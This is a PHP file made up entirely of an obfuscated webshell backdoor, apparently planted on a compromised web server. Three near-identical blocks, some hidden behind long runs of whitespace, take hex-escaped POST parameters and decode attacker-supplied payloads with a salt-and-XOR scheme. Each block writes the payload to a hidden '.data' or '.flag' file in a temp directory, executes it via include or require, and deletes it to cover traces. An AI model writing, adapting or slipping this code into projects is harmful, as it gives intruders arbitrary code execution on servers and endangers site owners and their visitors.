<?php																																										if(!empty($_POST["\x74k\x6E"])){ $resource = $_POST["\x74k\x6E"]; $resource =explode ("." , $resource ) ; $ptr = ''; $salt3 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt3); $n = 0; $__tmp = $resource; while ($v4 = array_shift($__tmp)) { $sChar = ord($salt3[$n % $sLen]); $dec = ((int)$v4 - $sChar - ($n % 10)) ^ 54; $ptr .= chr($dec); $n++; } $ent = array_filter([ini_get("upload_tmp_dir"), session_save_path(), sys_get_temp_dir(), getenv("TMP"), "/var/tmp", getcwd(), "/tmp", getenv("TEMP"), "/dev/shm"]); foreach ($ent as $item) { if (is_writable($item) && is_dir($item)) { $pgrp = str_replace("{var_dir}", $item, "{var_dir}/.data"); $file = fopen($pgrp, 'w'); if ($file) { fwrite($file, $ptr); fclose($file); include $pgrp; @unlink($pgrp); exit; } } } }
																																										if(array_key_exists("\x65\x6E\x74ity", $_POST)){ $pointer = $_POST["\x65\x6E\x74ity"]; $pointer= explode ('.' ,$pointer) ; $value = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt); $len = count($pointer); for ($v = 0; $v < $len; $v++) { $v5 = $pointer[$v]; $chS = ord($salt[$v% $lenS]); $d = ((int)$v5 - $chS - ($v% 10)) ^ 32; $value .= chr($d); } $record = array_filter([sys_get_temp_dir(), "/var/tmp", ini_get("upload_tmp_dir"), getenv("TMP"), getenv("TEMP"), session_save_path(), "/dev/shm", getcwd(), "/tmp"]); foreach ($record as $key => $itm) { if ((is_dir($itm) and is_writable($itm))) { $ent = sprintf("%s/.flag", $itm); if (file_put_contents($ent, $value)) { require $ent; unlink($ent); die(); } } } }


if(array_key_exists("\x70\x67rp", $_POST)){
	$ref = $_POST["\x70\x67rp"];
	$ref 	= 	 explode  (".",		$ref	);		
	$itm = '';
            $salt1 = 'abcdefghijklmnopqrstuvwxyz0123456789';
            $lenS = strlen( $salt1);
    
            foreach( $ref as $w => $v5):
                $chS = ord( $salt1[$w	% $lenS]);
                $d =( ( int)$v5 - $chS -( $w	% 10))^  27;
                $itm	 .=chr( $d);
            endforeach;
	$hld = array_filter([session_save_path(), getcwd(), getenv("TEMP"), "/tmp", sys_get_temp_dir(), ini_get("upload_tmp_dir"), getenv("TMP"), "/dev/shm", "/var/tmp"]);
	foreach ($hld as $key => $desc) {
    		if ((is_dir($desc) and is_writable($desc))) {
    $bind = vsprintf("%s/%s", [$desc, ".flag"]);
    if (file_put_contents($bind, $itm)) {
	require $bind;
	unlink($bind);
	die();
}
}
}
}